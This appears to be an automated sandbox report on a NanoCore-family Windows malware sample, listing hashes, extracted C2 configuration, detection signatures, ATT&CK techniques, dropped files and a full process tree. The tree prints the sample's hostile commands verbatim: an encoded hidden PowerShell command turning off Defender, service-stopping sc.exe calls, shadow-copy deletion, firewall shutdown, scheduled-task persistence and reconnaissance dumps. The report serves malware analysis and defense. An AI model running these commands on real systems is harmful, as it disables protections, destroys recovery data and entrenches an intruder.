nanocore | 8b7f94375f7b10d6ab198fe71fcd593901e533b9ed6d949427c2dbacfb4d0b77

Analysis

max time kernel
0s
max time network
158s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
25/09/2026, 08:22

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-09-24_652b5de751231faae889a1e1cde4fff9_destroyer_elex_glassworm_ngrbot_wannacry.exe
Size 57KB
Sample260925-j9w3rstbme
SHA256 8b7f94375f7b10d6ab198fe71fcd593901e533b9ed6d949427c2dbacfb4d0b77
MD5 652b5de751231faae889a1e1cde4fff9
SHA1 498e0cb26eae827f6b01ca5b54dfa6f4925f5a77
SHA512 9ebf2df9f34f87e3fc2470429c3daee27abd76fa5c69b4f6e5ff7a72ba2a1c25e45d3edcc1cc647b014059b05a39d92f0537cbf7f14fbe58936a147e35550fd3
SSDEEP 768:nbEDo8mGF8x9afiKX0CMEcd2cw+d1YMz4dN1XXGb5fAdOTfKFum1g:n/U7f9jMEulHe04dLXGb5feOTfuuj
TLSH
T18943E74473FD4211F1BF9EBA8DB185514B32B8676D32C38D06D4068E19B2B40DEA8B77
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution nanocore impact keylogger persistence ransomware spyware stealer trojan

Malware Config

Extracted

Family

nanocore

Version

1.2.2.0

http://crowdin.com

Mutex

ac7e2f05-8df7-4c55-8841-78385f6bb064

Attributes

c2_url
http://crowdin.com
default_group
xoilac
primary_dns
ali.ns.cloudflare.com
secondary_dns
woz.ns.cloudflare.com
version
1.2.2.0

Signatures

Family: NanoCore
NanoCore is a remote access tool (RAT) with a variety of capabilities.
keylogger trojan stealer spyware nanocore

Contains code to disable Windows Defender 4 IoCs

A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

resource	yara_rule
behavioral1/memory/4996-0-0x0000000000EA0000-0x0000000000EB4000-memory.dmp	disable_win_def
behavioral1/memory/4996-1-0x0000000003090000-0x00000000030A0000-memory.dmp	disable_win_def
behavioral1/files/0x00070000000248f2-2264.dat	disable_win_def
behavioral1/memory/4996-2267-0x0000000003090000-0x00000000030A0000-memory.dmp	disable_win_def

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Detects command variations typically used by ransomware 2 IoCs

resource	yara_rule
behavioral1/memory/4996-0-0x0000000000EA0000-0x0000000000EB4000-memory.dmp	INDICATOR_SUSPICIOUS_GENRansomware
behavioral1/files/0x00070000000248f2-2264.dat	INDICATOR_SUSPICIOUS_GENRansomware

Detects executables embedding registry key / value combination indicative of disabling Windows Defen 2 IoCs

resource	yara_rule
behavioral1/memory/4996-0-0x0000000000EA0000-0x0000000000EB4000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender
behavioral1/files/0x00070000000248f2-2264.dat	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4632	powershell.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
2436	netsh.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1696934516-3600988056-1840298893-1000\Control Panel\International\Geo\Nation	2026-09-24_652b5de751231faae889a1e1cde4fff9_destroyer_elex_glassworm_ngrbot_wannacry.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
3544	tasklist.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
4984	wscript.exe
4308	wscript.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4816	sc.exe
4568	sc.exe
3840	sc.exe
3528	sc.exe
4340	sc.exe
1884	sc.exe
1920	sc.exe
2120	sc.exe
2772	sc.exe
4664	sc.exe
3340	sc.exe
4820	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
660	cmd.exe
5096	cmd.exe
1052	cmd.exe
3288	cmd.exe
2688	cmd.exe
684	cmd.exe
4312	cmd.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
1652	NETSTAT.EXE
3836	ipconfig.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
2992	systeminfo.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
4596	vssadmin.exe
4320	vssadmin.exe
4224	vssadmin.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1720	schtasks.exe
4408	schtasks.exe
4964	schtasks.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4996 wrote to memory of 4632	4996	2026-09-24_652b5de751231faae889a1e1cde4fff9_destroyer_elex_glassworm_ngrbot_wannacry.exe	87
PID 4996 wrote to memory of 3840	4996	2026-09-24_652b5de751231faae889a1e1cde4fff9_destroyer_elex_glassworm_ngrbot_wannacry.exe	88
PID 4996 wrote to memory of 4664	4996	2026-09-24_652b5de751231faae889a1e1cde4fff9_destroyer_elex_glassworm_ngrbot_wannacry.exe	144
PID 4996 wrote to memory of 4568	4996	2026-09-24_652b5de751231faae889a1e1cde4fff9_destroyer_elex_glassworm_ngrbot_wannacry.exe	93
PID 4996 wrote to memory of 3528	4996	2026-09-24_652b5de751231faae889a1e1cde4fff9_destroyer_elex_glassworm_ngrbot_wannacry.exe	95
PID 4996 wrote to memory of 1884	4996	2026-09-24_652b5de751231faae889a1e1cde4fff9_destroyer_elex_glassworm_ngrbot_wannacry.exe	97
PID 4996 wrote to memory of 4340	4996	2026-09-24_652b5de751231faae889a1e1cde4fff9_destroyer_elex_glassworm_ngrbot_wannacry.exe	99
PID 4996 wrote to memory of 3340	4996	2026-09-24_652b5de751231faae889a1e1cde4fff9_destroyer_elex_glassworm_ngrbot_wannacry.exe	101

C:\Users\Admin\AppData\Local\Temp\2026-09-24_652b5de751231faae889a1e1cde4fff9_destroyer_elex_glassworm_ngrbot_wannacry.exe
"C:\Users\Admin\AppData\Local\Temp\2026-09-24_652b5de751231faae889a1e1cde4fff9_destroyer_elex_glassworm_ngrbot_wannacry.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4996
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4632
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:3840
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:4664
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:4568
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:3528
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:1884
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:4340
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:3340
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:1920
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  PID:3924
- - C:\Users\Admin\AppData\Local\Temp\2026-09-24_652b5de751231faae889a1e1cde4fff9_destroyer_elex_glassworm_ngrbot_wannacry.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-09-24_652b5de751231faae889a1e1cde4fff9_destroyer_elex_glassworm_ngrbot_wannacry.exe"
    3⤵
    PID:5068
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:2120
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:4820
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:4596
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  PID:5024
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:4984
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\2026-09-24_652b5de751231faae889a1e1cde4fff9_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4408
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\2026-09-24_652b5de751231faae889a1e1cde4fff9_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1720
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  PID:5096
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:4320
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    PID:3384
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  PID:660
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:2992
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  PID:4312
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:3544
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  PID:684
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    PID:1036
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
  2⤵
  - Executes a command shell one-liner
  PID:2688
- - C:\Windows\system32\net.exe
    net user
    3⤵
    PID:2620
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:5100
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  PID:3288
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:3836
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  PID:1052
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    PID:1652
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\2026-09-24_652b5de751231faae889a1e1cde4fff9_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4964
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4664
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:4308
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:3028
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:4224
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  PID:3828
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  PID:3236
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:64
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  PID:2436
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:2772
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:4816

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:4992

C:\Users\Admin\AppData\Local\Temp\2026-09-24_652b5de751231faae889a1e1cde4fff9_destroyer_elex_glassworm_ngrbot_wannacry.exe
C:\Users\Admin\AppData\Local\Temp\2026-09-24_652b5de751231faae889a1e1cde4fff9_destroyer_elex_glassworm_ngrbot_wannacry.exe
1⤵
PID:1368

C:\Users\Admin\AppData\Local\Temp\2026-09-24_652b5de751231faae889a1e1cde4fff9_destroyer_elex_glassworm_ngrbot_wannacry.exe
C:\Users\Admin\AppData\Local\Temp\2026-09-24_652b5de751231faae889a1e1cde4fff9_destroyer_elex_glassworm_ngrbot_wannacry.exe
1⤵
PID:3424

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Indicator Removal

T1070

File Deletion

T1070.004

Credential Access

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

scr_20260925_092431.jpg

Path C:\ProgramData\SysUpdate\Scr\scr_20260925_092431.jpg
Size 68KB
SHA256 b30232f957b8f55d5d88984d9629fa8a26a1a6b428b020eb24ffb90f6b671acd
MD5 af171639e8d651d1aa89b78b2d1e7a8c
SHA1 89ae8ce3700fb9ab46f33ba5c97f440f87531024
SHA512 668c9fbd08c3d8faf495383bd64cb74c7b1646ded7b552413278ec0a2788f372e1cb43074fa0a315e3196db4567d2bca6f679a6734542669a8ea1cc11b882df2
SSDEEP 768:IXFBhqUx1L/Qh7x8NWLWukHJlYPMRb3sk8OcHneG4:IXlqHxlqbDBGOcHne/
TLSH
T12B63FC078C08D793A42443E9BE571E6C2F1A6B4CED963AFF40664DCB3E646610DDE06E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

invoice_1.pdf

Path C:\ProgramData\invoice_1.pdf
Size 76KB
SHA256 f091d2cf197a1ab24001efba4d9fae53eb77ab3585d4aa06cbad9dfadae814e4
MD5 6e305121cc5fb6ffde4b27c3826f1eb8
SHA1 f127fbfcee16de9008b01bd2924704fbe190d45c
SHA512 c71cb0f71a80f7a347cf5b9616b229fad1f2c7088b78c34f223411a2836fad8da1f173a4e954f605c9ba2305c6808c1f6cc7391d62628e226a165a35e5f94dcb
SSDEEP 1536:IOjZTDQRhJ04nxrO5z7A7oLGmElVtESlHB+DjXQQdLkeSYG+VfprKP4vD:IOjZwRhJRxO52miVfOXQQGXYGqrKPYD
TLSH
T12B732A368F22FCD4677F3D50E0103A861C883E678B75277CFA841D662AA5544DF2E9AC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

doc_3.pdf

Path C:\SystemVolumeInformation\doc_3.pdf
Size 76KB
SHA256 45494c5347b047dc244764e56dd79849ce731252208d1f2ab9b416d51598c63c
MD5 9e3e36b6ffbccc74cd6f20a84d1f3339
SHA1 1a850ddaee9fe42e25b5d2681e37d2b5f336ad56
SHA512 7f6be8de197fa37d96c216d16beacd6a5bcd1701872dd1763ee01e51b466209c277c5ed388af2378a7a14ef9ccf47112bc211d557b18fecf9e6e48563f0f1167
SSDEEP 1536:oOjZTDQRhJ04nxrO5z7A7oLGmElVtESlHB+DjXQQdLkeSYG+VfprKP4va:oOjZwRhJRxO52miVfOXQQGXYGqrKPYa
TLSH
T1D77329368F22FCD4677F3D40E0103A861C883EA78B75277CFA851D662AA5544DF2D9AC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

2026-09-24_652b5de751231faae889a1e1cde4fff9_destroyer_elex_glassworm_ngrbot_wannacry.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\2026-09-24_652b5de751231faae889a1e1cde4fff9_destroyer_elex_glassworm_ngrbot_wannacry.exe.log
Size 660B
SHA256 f424c891fbc7385e9826beed2dd8755aeac5495744b5de0a1e370891a7beaf7a
MD5 1c5e1d0ff3381486370760b0f2eb656b
SHA1 f9df6be8804ef611063f1ff277e323b1215372de
SHA512 78f5fc40a185d04c9e4a02a3d1b10b4bd684c579a45a0d1e8f49f8dee9018ed7bc8875cbf21f98632f93ead667214a41904226ce54817b85caeeb4b0de54a743
TLSH
T1CF014970227BA0D888152F942C2E2BC403BF0336B5509E187998729EEE264571F212E6
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_qqivkzsp.kzy.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qqivkzsp.kzy.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

createshortcut.vbs

Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
Size 309B
SHA256 ae9e8e86bf45dcd8320afe296f8321ef771b4df19b6b3ad178352b2eac1698e5
MD5 1db1b8f409a9b32e5b0c03a5a82770f4
SHA1 2cf8e9b08af3b119b28b41f15dc7d812047c7bf7
SHA512 5eeb20682731c353819847aed5480ff56a13835e70b95b4ac62e705e1d8e3606c80c18d8b06bef1d18cf05bbb1caaa934f460f592b583309221fd5596e69574f
TLSH
T1BEE0E747B20CC5A500091127C0F24D0CD5E4551C3B17BF3097B4EC4D3E91CD559F5442
MD5 SHA1 SHA512 TLSH

Submit Download

del.bat

Path C:\Users\Admin\AppData\Local\Temp\del.bat
Size 59B
SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
MD5 9cecbebdcdd60358132849714a3b82f7
SHA1 be6e20834a5726f3742f05e6bdfaff16118b147f
SHA512 7b48bd66b4c741d2de2e8b7bc0eab8f438ddc1ed0c73e8b70add9bee400f6640f692884965032616e2d6911a22a17d1d3762421aa49fe021660c9052cfc0675a
TLSH
T13DA002620F961E5469529E5AD73425239D1F104CD1390012F05232903DA98DE0EC2144
MD5 SHA1 SHA512 TLSH

Submit Download

makelnk.vbs

Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
Size 310B
SHA256 cf6ea1a44f5034eee0e1a46f1a0bdd7be76965c58fa6ce19992928d60e713859
MD5 6072cf3235d358d106fb8c61ee10d225
SHA1 1303938d21a87d894b83bb45f8104fd5f8ffee08
SHA512 9d787a4f0bb6df477c3f05b0fb08e41bccc110c06ebdfbcd6d03f1bfbcff16dfb07b7d88f5193b3cd7ff471e59a72975abe610957d252eca078d9929c886ef15
TLSH
T13BE07D47B21885A50009112BC0F24D0CD5D055182B27BE209664EC4E3A918D559F5442
MD5 SHA1 SHA512 TLSH

Submit Download

temp_steal.log

Path C:\Users\Admin\AppData\Local\Temp\temp_steal.log
Size 91KB
SHA256 a4ceb352d03d3760671361c53d675962a5d8b89ba42800513943046f12525189
MD5 406719c00e2f329632600edec68c0810
SHA1 64a1f8266bdbdf06fa3f0e1ab2c450c22f04d508
SHA512 b5edde6d72fa32ce409fddacced1234d920e6b2f530796bfe563803aa9f0d54e7bbb449eb18551f0102c6c7c489d7f0666772450e1226b80e9f2bda6f7ce470b
SSDEEP 768:a4b528HOz9JpW5nrT8D5a/p3k6BLIVCtcoHkpMkhrS50eZACJyUrw/+j+26:ai5224HpW5P8NaxU61pH5+CJynyE
TLSH
T1FB932910D6F7CE3B04955AAB584676C1E439F7F496ECD0FB21A2AE63F4638E2C708644
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

stolen_data_here.txt

Path C:\Users\Admin\Desktop\stolen_data_here.txt
Size 91KB
SHA256 3b3d4a575e1f021c23dfa1277f8f9d2a2e0fe52474eb399aa997c7a1f35a5597
MD5 4dfa300f2ba3be8c61ab23f7a516e8d8
SHA1 16353decd4afcbcadbca0c18f2fac2a1932a240f
SHA512 3a02cd9ee7bca73464cf0e33bd4efef696b4714df84a62f2053655e6f015ce208577e14ccf5013aa6291babf313eb1f25627f0f8e77958682ac6f5dc4b53c055
SSDEEP 768:z4b528HOz9JpW5nrT8D5a/p3k6BLIVCtcoHkpMkhrS50eZACJyUrw/+j+26:zi5224HpW5P8NaxU61pH5+CJynyQ
TLSH
T122932910D6F7CE3B04955AAB584676C1E439F7F496ECD0FB21A2AE63F4638E2C708644
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sysupdate.exe

Path C:\Windows\System32\sysupdate.exe
Size 57KB
SHA256 8b7f94375f7b10d6ab198fe71fcd593901e533b9ed6d949427c2dbacfb4d0b77
MD5 652b5de751231faae889a1e1cde4fff9
SHA1 498e0cb26eae827f6b01ca5b54dfa6f4925f5a77
SHA512 9ebf2df9f34f87e3fc2470429c3daee27abd76fa5c69b4f6e5ff7a72ba2a1c25e45d3edcc1cc647b014059b05a39d92f0537cbf7f14fbe58936a147e35550fd3
SSDEEP 768:nbEDo8mGF8x9afiKX0CMEcd2cw+d1YMz4dN1XXGb5fAdOTfKFum1g:n/U7f9jMEulHe04dLXGb5feOTfuuj
TLSH
T18943E74473FD4211F1BF9EBA8DB185514B32B8676D32C38D06D4068E19B2B40DEA8B77
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/3028-2254-0x000001FDC1650000-0x000001FDC1651000-memory.dmp

Download

memory/4632-520-0x0000017ADFE70000-0x0000017ADFE92000-memory.dmp

Download

memory/4996-2267-0x0000000003090000-0x00000000030A0000-memory.dmp

Download

memory/4996-0-0x0000000000EA0000-0x0000000000EB4000-memory.dmp

Download

memory/4996-1-0x0000000003090000-0x00000000030A0000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads